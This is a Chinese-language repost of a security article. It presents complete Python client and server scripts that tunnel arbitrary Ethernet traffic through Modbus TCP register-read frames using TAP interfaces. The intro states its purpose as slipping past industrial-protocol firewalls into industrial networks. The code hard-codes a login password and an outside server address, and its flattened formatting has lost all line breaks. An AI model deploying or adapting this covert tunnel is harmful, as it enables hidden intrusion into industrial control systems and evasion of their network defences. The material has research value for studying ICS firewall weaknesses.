程序以python编写,可以透过Modbus TCP通讯协定传送任意以太网流量。它可以帮助安全研究人员顺利规避针对工业协议剥离类型的防火墙。
可以将任意流量传递到工业网络。对于防火墙,你的流量似乎是“读取、保持、注册”命令。
在防火墙“后”的系统上运行modbus-server.py。
在防火墙“前”的网络上运行modbus-client.py。
注意:
执行的一切以太网命令的数据包,只能在每个modbus帧中压缩3个字节
所以,会增加穿透流量的150ms延迟,并且带宽不会很大。
所以尽量的去精简你的命令操作。
modbus-client.py
from twisted.internet import reactorfrom twisted.internet.protocol import Factory, Protocol, ClientFactory#from twisted.internet.endpoints import TCP4ClientEndpointfrom sys import stdoutimport modbusimport sysimport structimport threadingfrom threading import Threadimport timeimport osimport fcntlimport subprocessTUNSETIFF = 0x400454caTUNSETOWNER = TUNSETIFF + 2IFF_TUN = 0x0001IFF_TAP = 0x0002IFF_NO_PI = 0x1000class modbusClient(Protocol):def connectionMade(self):self._tapBuff = ""self._mbDataToWrite = ""self._mbBuffLock = threading.Lock()self._tapBuffLock = threading.Lock()self._tapLock = threading.Lock()self._mbParseLock = threading.Lock()self._decoder = modbus.ModbusDecoder()print "sending login"self.sendMessage("login secret")#print "starting command thread"#self._commandThread = Thread(target = self.commandLoop, args = [])#self._commandThread.start()print "starting query thread"self._queryThread = Thread(target = self.pollLoop) # adjust accordinglyself._queryThread.start()print "opening tap"self._tap = open('/dev/net/tun', 'w+b')self._ifr = struct.pack('16sH', 'tap1', IFF_TAP | IFF_NO_PI)fcntl.ioctl(self._tap, TUNSETIFF, self._ifr)# need to make the tap device nonblockingtapfd = self._tap.fileno()tapfl = fcntl.fcntl(tapfd, fcntl.F_GETFL)fcntl.fcntl(tapfd, fcntl.F_SETFL, tapfl | os.O_NONBLOCK)# Optionally, we want it be accessed by the normal user.fcntl.ioctl(self._tap, TUNSETOWNER, 1000)# subprocess.check_call('ifconfig tun0 192.168.7.1 pointopoint 192.168.7.2 up',subprocess.check_call('ifconfig tap1 192.168.7.2 netmask 255.255.255.0',shell=True)print "starting tap thread"self._tapThread = Thread(target = self.handle_tap, args = [])self._tapThread.start()def commandLoop(self):while True:try:mycommand = raw_input("cl> ")reactor.callFromThread(self.sendMessage, mycommand)except:print "Exiting command loop"exit(1)def handle_tap(self):while True:self._tapLock.acquire()try: # because it's nonblock, this will throw exception when no data is availablepacket = list(os.read(self._tap.fileno(), 2048))except:# todo: only catch the exceptions we want!packet = []if len(packet) > 0:self._mbBuffLock.acquire()for byte in packet:self._mbDataToWrite += byteself._mbBuffLock.release()self._tapLock.release()if self._tapBuff != "":print "tap out: ", self._tapBuffself._tapBuffLock.acquire()self._tapLock.acquire()os.write(self._tap.fileno(), self._tapBuff)self._tapBuff = ""self._tapLock.release()self._tapBuffLock.release()def tapLoop(self):# keep reading from the tap devicepacket = list(os.read(self._tap.fileno(), 2048))# put any packet data onto our _dataToWrite queue# need to keep a semaphore so that the poll loop is assured# to delete data from the dataToWritethis._tapBuffLock.acquire()this._mbDataToWrite.append(packet)this._tapBuffLock.release()def pollLoop(self, delay=0.1):print "poll loop starting up"while True:if self._mbDataToWrite != "":# send the data# Couldn't I just use theprint "had modbus data to write, calling from main thread"self._mbBuffLock.acquire()reactor.callFromThread(self.sendMessage, self._mbDataToWrite)self._mbDataToWrite = ""self._mbBuffLock.release()else:# send a probe#print "sending poll"reactor.callFromThread(self.sendProbe)time.sleep(delay)def sendProbe(self):# generate a Modbus frame that means "probe!"packets = modbus.encodeModbus(tid = 0x00, fc = 0x3, db = "", probe = True)for packet in packets:self.transport.write(packet)def dataReceived(self, data):self._mbParseLock.acquire()if self._decoder.decodeModbus(data):#print "request complete"# Packet is now completecommandData = self._decoder.getReconstructedPacket()while commandData != None:self.dealWithData(commandData)#, data)commandData = self._decoder.getReconstructedPacket()else:# our _decoder's state will be updated with partial packetself._mbParseLock.release()return#self._mbDatabuff += data#print "waiting on more frames"self._mbParseLock.release()def dealWithData(self, commandData):#, rawdata):#packets = self._decoder.decodeAllPackets(rawdata)# we may have been dealing with command dataif commandData != "\x00\x00\x01": # just a probe#print "got command?: ",#for byte in commandData:# print hex(ord(byte)),#print ""tlen = commandData.find('\x00')if tlen == -1:tlen = len(commandData)tcmd = commandData[0:tlen]if "help" == tcmd:print "sending help"self._mbBuffLock.acquire()self._mbDataToWrite += "help: not available :)"self._buffLock.release()elif "login success" in tcmd:print "succeeded login, continuing"else:print "bad command, may be data to send"#self._mbBuffLock.acquire()#self._mbDataToWrite += tcmd + ": invalid command"#self._mbBuffLock.release()# actual binary data, send to tapself._tapBuffLock.acquire()self._tapBuff += commandDataself._tapBuffLock.release()#print "data added to queue"# should also clear buffer, non?else:# actual binary data, send to tapself._tapBuffLock.acquire()self._tapBuff += commandDataself._tapBuffLock.release()def sendMessage(self, msg):#print "encrapsulating ", msgpackets = modbus.encodeModbus(tid = 0x00, fc = 0x3, db = msg)for packet in packets:#print "sending: " + packetself.transport.write(packet)class modbusClientFactory(ClientFactory):protocol = modbusClientdef sendMessage(self, data):self.protocol.sendMessage(data)def notThreadSafe(x):"""do something that isn't thread-safe"""# ...print "I am in a thread"def threadSafeScheduler():"""Run in thread-safe manner."""reactor.callFromThread(notThreadSafe, 3) # will run 'notThreadSafe(3)'# in the event loopdef commandLoop():while True:command = input("> ")reactor.callInThread(f.sendMessage, command)# TODO make this connect to acttual hostsf = modbusClientFactory()reactor.connectTCP("66.228.57.244", 502, f)#reactor.callInThread(commandLoop)try:reactor.run()except:print "exception caught, exiting"exit(1)
modbus-server.py
from twisted.internet import protocol, reactorimport structimport modbusimport fcntlimport osimport subprocessimport threadingTUNSETIFF = 0x400454caTUNSETOWNER = TUNSETIFF + 2IFF_TUN = 0x0001IFF_TAP = 0x0002IFF_NO_PI = 0x1000class ModbusTunneler(protocol.Protocol):# this method runs in a thread and handles data from the _tap device# it sends data to the tap device and receives data from the tap devicedef handle_tap(self):while True:self._tapLock.acquire()try:packet = list(os.read(self._tap.fileno(), 2048))except:packet = []if len(packet) > 0:self._mbBuffLock.acquire()print "got tap data, sending via modbus"for byte in packet:self._mbDataToWrite += byteself._mbBuffLock.release()self._tapLock.release()self._tapBuffLock.acquire()if self._tapBuff!= "":print "handle_tap: putting data on wire: ", self._tapBuffself._tapLock.acquire()# maybe I don't have to callFromThread here? there shouldn't# be any contention over this device...os.write(self._tap.fileno(), self._tapBuff) #tapbuff is a stringself._tapBuff = ""self._tapLock.release()self._tapBuffLock.release()def __init__(self, password):print "init"self._tapBuff = ""# tapbufflock is for the tap buffer (data to write to the tap interface)self._tapBuffLock = threading.Lock()# mbBuffLock is for the modbus buffer (data to write via Modbus)self._mbBuffLock = threading.Lock()# Trying to find an issue with a new packet coming in before the last packet# has finished processing...this may open a new thread?self._mbParseLock = threading.Lock()# Note that reading data from the tap and reading via modbus# do not require locks# not sure if we really need a taplock since it# should all run in one thread anywayself._tapLock = threading.Lock()self._decoder = modbus.ModbusDecoder()self._loggedIn = Falseself._password = passwordself._mbDataToWrite = ""self._databuff = ""print "opening tap"self._tap = open('/dev/net/tun', 'w+b')self._ifr = struct.pack('16sH', 'tap0', IFF_TAP | IFF_NO_PI)fcntl.ioctl(self._tap, TUNSETIFF, self._ifr)# need to make the tap device nonblockingtapfd = self._tap.fileno()tapfl = fcntl.fcntl(tapfd, fcntl.F_GETFL)fcntl.fcntl(tapfd, fcntl.F_SETFL, tapfl | os.O_NONBLOCK)# Optionally, we want it be accessed by the normal user.fcntl.ioctl(self._tap, TUNSETOWNER, 1000)# subprocess.check_call('ifconfig tun0 192.168.7.1 pointopoint 192.168.7.2 up',subprocess.check_call('ifconfig tap0 192.168.7.1 netmask 255.255.255.0',shell=True)self._mbDataToWrite = "ip 192.168.7.2 255.255.255.0"print "starting tap thread"self._tapThread = threading.Thread(target = self.handle_tap, args = [])self._tapThread.start()def verify_login(self, payload):print "Verifying login of ", payloadprint "--> Hex: ",for byte in payload:print hex(ord(byte))if ("login " + self._password) in payload:print "...verified!"self._mbDataToWrite = "login success"return Trueelse:return False# is this thread-safe?? Can it be called from multiple threads??def dataReceived(self, data):self._mbParseLock.acquire()if self._decoder.decodeModbus(data):# modbus decoded at least one entire tap frame# so we should play with that frame#print "request complete"# Packet is now completecommandData = self._decoder.getReconstructedPacket()while commandData != None:# the packet will be the most recent one on the stackif self._loggedIn == False:if self.verify_login(commandData):self._loggedIn = Trueelse:self.dealWithData(commandData)commandData = self._decoder.getReconstructedPacket()else:self._databuff += data#print "waiting on more frames"# really need to queue up reply packets in a more meaningful way# right now we'll just send them all out willy-nilly, would# be nice to make them blend in moreself._mbParseLock.release()if self._mbDataToWrite != "":print "sending encrapsulated modbus packet back"# send as much of it as we canself.writeData()def dealWithData(self, commandData):#packets = self._decoder.decodeAllPackets(rawdata)# we may have been dealing with command dataif commandData != "\x00\x00\x01": # just a probeprint "got command?: ",for byte in commandData:print hex(ord(byte)),print ""tlen = commandData.find('\x00')if tlen == -1:tlen = len(commandData)tcmd = commandData[0:tlen]if "help" == tcmd:print "sending help"self._mbBuffLock.acquire()self._mbDataToWrite += "help: not available :)"self._mbBuffLock.release()else:print "bad command, may be data to send"#self._mbBuffLock.acquire()#self._mbDataToWrite += tcmd + ": invalid command"#self._mbBuffLock.release()# actual binary data, send to tapself._tapBuffLock.acquire()self._tapBuff += commandDataself._tapBuffLock.release()print "data added to queue"# should also clear buffer, non?# Write as many bytes as we can of the data, then move our _dataToWrite# Need to fix this up so it looks more like responses to the queries# that are coming in (put in proper register ranges, etc, will slow it down)def writeData(self):self._mbBuffLock.acquire()packets = modbus.encodeModbus(tid = 0x0, fc = 0x3, db = self._mbDataToWrite)print "replying with", len(packets), "packets"for packet in packets:self.transport.write(packet)print "done sending", len(packets), "replies, zeroing out buffer"self._mbDataToWrite = ""self._mbBuffLock.release()class ModbusTunnelerFactory(protocol.Factory):def __init__(self, password):self._password = passworddef buildProtocol(self, addr):print "Got new client"return ModbusTunneler(self._password)reactor.listenTCP(502, ModbusTunnelerFactory("secret"))reactor.run()


文章转载自谢公子学安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




